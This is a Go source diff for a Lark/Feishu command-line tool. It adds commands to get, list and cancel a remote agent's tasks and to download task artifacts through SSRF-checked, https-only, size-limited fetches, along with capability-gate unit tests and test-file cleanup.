+	}
+	if !sent {
+		t.Error("provider Send should be reached after --yes")
+	}
+}
+
+// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
+// gate (dry-run never uploads), so it needs no --yes and never reaches the
+// provider (unset send hook stays a tripwire).
+func TestSend_FileDryRunNotGated(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"}
+	opts.DryRun = true // no --yes
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run --file should not be gated: %v", err)
+	}
+}

cmd/agent/task.go

@@ -0,0 +1,485 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// maxArtifactBytes caps a single downloaded artifact to guard against an
+// untrusted host streaming an unbounded body onto local disk.
+const maxArtifactBytes = 256 << 20 // 256 MiB
+
+// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
+// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
+// are wired once; each RunE reads only the fields its verb needs.
+type taskOptions struct {
+	Factory    *cmdutil.Factory
+	Cmd        *cobra.Command
+	Ref        string
+	TaskID     string
+	ContextID  string
+	ArtifactID string
+	Output     string
+	Force      bool
+	Watch      bool
+	Timeout    time.Duration
+	As         string
+	Format     string
+}
+
+// resolveDownload is the DownloadArtifact seam: it resolves the provider
+// addressed by opts under the effective identity, runs the local scope
+// preflight, and fetches the artifact descriptor. Tests swap it to return
+// inline bytes without a Factory / network.
+var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
+	p, id, err := resolveProvider(opts.Factory, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return nil, err
+	}
+	// Capability gate before the API call: a provider that does not wire
+	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
+	if p.DownloadArtifact == nil {
+		return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
+	}
+	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
+		return nil, err
+	}
+	return p.DownloadArtifact(opts.Cmd.Context(), opts.TaskID, opts.ArtifactID)
+}
+
+// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
+// its bytes with a download-hardened client. Tests swap it to serve a loopback
+// httptest server (which the production SSRF guard would otherwise block).
+var artifactFetch = fetchArtifactURL
+
+// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
+// Production wraps the base client with the SSRF-hardened redirect/dial rules;
+// tests swap it to pass the (interceptable) base client through unchanged so the
+// request/status/read/limit logic can run against an httpmock transport that the
+// hardened client's transport clone would otherwise discard.
+var hardenDownloadClient = func(base *http.Client) *http.Client {
+	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
+}
+
+// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
+// tasks on a remote agent. It is a pure group with no RunE so an unknown
+// subcommand is reported rather than silently swallowed.
+func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "task",
+		Short: "Query / list / cancel a remote agent's tasks",
+		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
+	}
+	cmd.AddCommand(NewCmdAgentTaskGet(f))
+	cmd.AddCommand(NewCmdAgentTaskList(f))
+	cmd.AddCommand(NewCmdAgentTaskCancel(f))
+	return cmd
+}
+
+// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
+// task's state and artifacts. `--watch` polls until the task reaches a stop
+// condition and the terminal state drives the semantic exit code;
+// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
+// the backward-compatible default). `--artifact <id>` downloads that artifact
+// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
+// and fetched, an inline-bytes artifact is written straight to disk.
+// Risk=read.
+func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "get <agent_ref> <task-id>",
+		Short: "Query a single task's state and artifacts",
+		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.TaskID = args[1]
+			return agentTaskGetRun(opts)
+		},
+	}
+	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
+	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
+	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
+	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
+	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
+// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
+// meta.count. Risk=read.
+func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list <agent_ref>",
+		Short: "List a remote agent's tasks",
+		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentTaskListRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
+// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
+// an agent that does not support it (task_cancel=false, e.g. example:echo) the
+// command returns unsupported_capability without contacting the API.
+// Risk=write.
+func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "cancel <agent_ref> <task-id>",
+		Short: "Cancel (interrupt) a remote agent's task",
+		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.TaskID = args[1]
+			return agentTaskCancelRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
+	return cmd
+}
+
+// addAsFlag registers the identity flag: the real API-identity flag when a
+// Factory is present, or a bare --as for construction-time unit tests (f nil).
+func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
+		return
+	}
+	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
+}
+
+// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
+// -o) runs first so it never touches the network and holds under a nil Factory.
+// With `--artifact` it downloads the named artifact to -o; otherwise it
+// fetches the task, optionally polling it to a stop condition under --watch, and
+// emits the task with the terminal state driving the semantic exit code.
+func agentTaskGetRun(opts *taskOptions) error {
+	if opts.ArtifactID != "" {
+		if opts.Output == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"--artifact 需配合 -o/--output 指定落盘路径").
+				WithParam("--output").
+				WithHint("补充 -o <落盘路径> 后重发")
+		}
+		return downloadArtifact(opts)
+	}
+
+	// --timeout only bounds the --watch poll; without --watch it is meaningless.
+	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
+	// so it never touches the network and holds under a nil Factory.
+	if opts.Timeout > 0 && !opts.Watch {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--timeout 需与 --watch 一起使用").
+			WithParam("--timeout").
+			WithHint("--timeout 需与 --watch 一起使用")
+	}
+
+	f := opts.Factory
+	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after resolveProvider, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+
+	ctx := opts.Cmd.Context()
+	task, err := p.GetTask(ctx, opts.TaskID)
+	if err != nil {
+		return err
+	}
+
+	if opts.Watch && !task.State.ShouldStopPolling() {
+		// A positive --timeout bounds the poll: pollToStop returns the most recent
+		// task with a nil error when the deadline fires (a timeout is an
+		// observation-window close, not a failure), so a long task degrades to
+		// "current state + a fresh watch hint" instead of blocking forever. 0 =
+		// unbounded (the backward-compatible default). pollToStop is unchanged.
+		pollCtx := ctx
+		if opts.Timeout > 0 {
+			var cancel context.CancelFunc
+			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
+			defer cancel()
+		}
+		final, perr := pollToStop(pollCtx, p, opts.TaskID)
+		if perr != nil {
+			return perr
+		}
+		if final != nil {
+			task = final
+		}
+	}
+
+	// Derive IsTerminal from State (single source of truth) before any consumer
+	// — emitTask's output and semanticExitError below both read the flag.
+	normalizeTask(task)
+	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
+		return err
+	}
+	// Under --watch a non-successful terminal state signals exit 1; a
+	// plain get (or a non-terminal stop) is exit 0.
+	if opts.Watch {
+		return semanticExitError(task)
+	}
+	return nil
+}
+
+// agentTaskListRun runs `task list`: resolves the provider, lists tasks
+// (optionally filtered by --context-id) and emits {tasks:[...]} with meta.count.
+func agentTaskListRun(opts *taskOptions) error {
+	f := opts.Factory
+	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Capability gate before the API call: a provider that does not wire
+	// ListTasks (card task_list=false) returns unsupported_capability.
+	if p.ListTasks == nil {
+		return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
+	}
+	// Local scope preflight: after resolveProvider, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	tasks, err := p.ListTasks(opts.Cmd.Context(), opts.ContextID)
+	if err != nil {
+		return err
+	}
+	tasks = normalizeTaskSummaries(tasks)
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		printTaskSummariesTSV(f.IOStreams.Out, tasks)
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"tasks": tasks},
+		Meta:     &output.Meta{Count: len(tasks)},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated before any
+// network access: it resolves the (statically synthesized) Card for ref and, if
+// task_cancel is not supported, returns unsupported_capability without a Factory
+// or API call. Only a supporting provider reaches resolveProvider +
+// CancelTask.
+func agentTaskCancelRun(opts *taskOptions) error {
+	// Gate before requiring a Factory / network: resolve with zero Deps and read
+	// the CancelTask capability (a wired field == card task_cancel=true). An agent
+	// that does not support cancel (e.g. example:echo) returns
+	// unsupported_capability with no Factory or API access.
+	probe, err := iagent.Resolve(opts.Ref, iagent.Deps{})
+	if err != nil {
+		return wrapRefResolveError(err)
+	}
+	if probe.CancelTask == nil {
+		return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
+	}
+
+	f := opts.Factory
+	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after resolveProvider, before the API call.
+	// A task_cancel=false agent never reaches here (gated above); it is wired so
+	// a provider that supports cancel is not silently exempt from the
+	// all-or-nothing scope check.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	if err := p.CancelTask(opts.Cmd.Context(), opts.TaskID); err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
+// under vfs. A URL-type artifact is SSRF-validated and fetched over a
+// download-hardened client; an inline-bytes artifact is written directly. The
+// output path is validated with SafeOutputPath (relative, within the CWD)
+// before any write.
+func downloadArtifact(opts *taskOptions) error {
+	safePath, err := validate.SafeOutputPath(opts.Output)
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
+			WithParam("--output").WithCause(err)
+	}
+
+	// Overwriting a local file destroys its content irreversibly — a high-risk
+	// write. It goes through the same confirmation contract as other --force
+	// gates (config bind): without --force, a would-be overwrite returns
+	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
+	// symlink at the path counts as existing rather than being followed.
+	if !opts.Force {
+		if _, statErr := vfs.Lstat(safePath); statErr == nil {
+			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
+				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
+				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
+		}
+	}
+
+	ctx := opts.Cmd.Context()
+	art, err := resolveDownload(opts)
+	if err != nil {
+		return err
+	}
+
+	data := art.Bytes
+	if art.URL != "" {
+		data, err = artifactFetch(ctx, opts.Factory, art.URL)
+		if err != nil {
+			return err
+		}
+	}
+
+	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
+		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
+	}
+
+	f := opts.Factory
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		out := f.IOStreams.Out
+		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
+		fmt.Fprintf(out, "path: %s\n", safePath)
+		fmt.Fprintf(out, "bytes: %d\n", len(data))
+		if art.Mime != "" {
+			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
+		}
+		// suggested_name is the server-suggested name, for reference only; the
+		// actual on-disk path is already the safePath (-o) above.
+		if art.Name != "" {
+			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
+		}
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data: map[string]interface{}{
+			"artifact_id":    opts.ArtifactID,
+			"path":           safePath,
+			"bytes":          len(data),
+			"mime":           art.Mime,
+			"suggested_name": art.Name,
+		},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
+// a download-hardened HTTP client from the Factory and reads at most
+// maxArtifactBytes of the body. The artifact host is untrusted external content,
+// so both the URL and the redirect chain are guarded.
+func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
+	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
+			WithCause(err)
+	}
+	// Artifact bytes come from an untrusted host over the network; require https
+	// so the payload cannot be read or tampered with in transit. The SSRF check
+	// above already rejects private/loopback hosts and non-http(s) schemes, so a
+	// surviving non-https URL is plain-text http.
+	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
+	}
+	base, err := f.HttpClient()
+	if err != nil {
+		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
+	}
+	client := hardenDownloadClient(base)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
+	if err != nil {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
+	}
+	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes))
+	if err != nil {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
+	}
+	return data, nil
+}

cmd/agent/unsupported_test.go

@@ -0,0 +1,155 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"sync"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// newUnsupProvider builds a stub *Provider driving the command-layer
+// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
+// left UNWIRED (nil), so the command layer's nil-gate must return the typed
+// unsupported_capability before any network access. GetTask is wired to return a
+// task whose IsTerminal deliberately mismatches its State (normalizeTask must
+// re-derive it). Send is wired (core, required by Register) but never called
+// here. There is no capability-refusal code in the provider — "unsupported" is
+// expressed purely by the absent fields.
+func newUnsupProvider() *iagent.Provider {
+	return &iagent.Provider{
+		Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
+			panic("unsup provider: Send should not be called")
+		},
+		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
+			// Deliberate mismatch: State is terminal but IsTerminal=false (simulating
+			// a provider that forgot to set it or set it wrong).
+			return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
+		},
+		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
+	}
+}
+
+// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
+// panics on duplicates). Like the other fakes it leaks into the package-level
+// registry for the remaining tests of this package run.
+var registerFakeUnsupOnce sync.Once
+
+func registerFakeUnsup() {
+	registerFakeUnsupOnce.Do(func() {
+		iagent.Register("fakeunsup", iagent.ProviderInfo{
+			Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newUnsupProvider(), nil },
+			Label:          "test fake (unwired optional capabilities)",
+			AgentRefFormat: "fakeunsup:<agent_id>",
+			AgentIDSource:  "test only",
+			Kind:           iagent.KindInstance,
+			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
+		})
+	})
+}
+
+// assertUnsupportedCapability pins the full capability-gate contract on err:
+// validation typed, subtype unsupported_capability, exit 2, hint pointing at
+// `agent card <ref>`, and — because the Factory's httpmock registry has zero
+// stubs — no HTTP was issued (any network attempt would have surfaced as an
+// "httpmock: no stub" error instead of the typed one).
+func assertUnsupportedCapability(t *testing.T, err error, ref string) {
+	t.Helper()
+	if err == nil {
+		t.Fatal("an unsupported capability should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T (%v)", err, err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitValidation {
+		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agent card "+ref) {
+		t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
+	}
+	if strings.Contains(err.Error(), "httpmock") {
+		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
+	}
+}
+
+// TestContextListUnsupportedGated pins the capability gate on `context list`: a
+// provider that does not wire ListContexts returns typed unsupported_capability
+// (exit 2) with the agent-card hint, without any HTTP.
+func TestContextListUnsupportedGated(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &contextOptions{
+		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
+}
+
+// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
+// `context delete` path (--yes passes, provider does not wire DeleteContext).
+func TestContextDeleteUnsupportedGated(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &contextOptions{
+		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
+}
+
+// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
+// provider returning a State/IsTerminal-mismatched task (completed +
+// is_terminal=false) must emit is_terminal=true — the command layer derives
+// the flag from State, the single source of truth.
+func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentTaskGetRun(opts); err != nil {
+		t.Fatalf("task get should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["state"] != "completed" {
+		t.Fatalf("data.state should be completed, got %v", data["state"])
+	}
+	if data["is_terminal"] != true {
+		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
+	}
+}
+
+// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
+// (task list / context get share this helper for their nested Tasks).
+func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
+	ts := normalizeTaskSummaries([]iagent.TaskSummary{
+		{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
+		{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true},    // wrong
+	})
+	if !ts[0].IsTerminal {
+		t.Error("completed summary should derive is_terminal=true")
+	}
+	if ts[1].IsTerminal {
+		t.Error("working summary should derive is_terminal=false")
+	}
+	if normalizeTask(nil) != nil {
+		t.Error("normalizeTask(nil) should be nil-safe")
+	}
+}

cmd/api/api_test.go

@@ -4,14 +4,10 @@
 package api
 
 import (
-	"bytes"
 	"context"
 	"encoding/json"
 	"errors"
-	"mime"
-	"mime/multipart"
 	"os"
-	"path/filepath"
 	"sort"
 	"strings"
 	"testing"
@@ -24,28 +20,13 @@ import (
 	"github.com/spf13/cobra"
 )
 
-func newTestApiCmd(f *cmdutil.Factory, runF func(*APIOptions) error) *cobra.Command {
-	cmd := NewCmdApi(f, runF)
-	cmd.SilenceErrors = true
-	cmd.SilenceUsage = true
-	return cmd
-}
-
-func newTestRootCmd() *cobra.Command {
-	return &cobra.Command{
-		Use:           "lark-cli",
-		SilenceErrors: true,
-		SilenceUsage:  true,
-	}
-}
-
 func TestApiCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -73,7 +54,7 @@ func TestApiCmd_DryRun(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run"})
 	err := cmd.Execute()
 	if err != nil {
@@ -96,7 +77,7 @@ func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("--params null with --page-size should not error, got: %v", err)
@@ -117,7 +98,7 @@ func TestApiCmd_BotMode(t *testing.T) {
 		Body: map[string]interface{}{"code": 0, "msg": "ok", "data": map[string]interface{}{"result": "success"}},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -144,7 +125,7 @@ func TestApiCmd_MissingArgs(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET"}) // missing path
 	err := cmd.Execute()
 	if err == nil {
@@ -157,7 +138,7 @@ func TestApiCmd_InvalidParamsJSON(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--params", "{bad"})
 	err := cmd.Execute()
 	if err == nil {
@@ -170,7 +151,7 @@ func TestApiValidArgsFunction(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	fn := cmd.ValidArgsFunction
 
 	tests := []struct {
@@ -236,7 +217,7 @@ func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu, SupportedIdentities: 2,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	flag := cmd.Flags().Lookup("as")
 	if flag == nil {
 		t.Fatal("expected --as flag to be registered")
@@ -255,7 +236,7 @@ func TestApiCmd_PageLimitDefault(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -274,7 +255,7 @@ func TestApiCmd_ParamsAndDataBothStdinConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
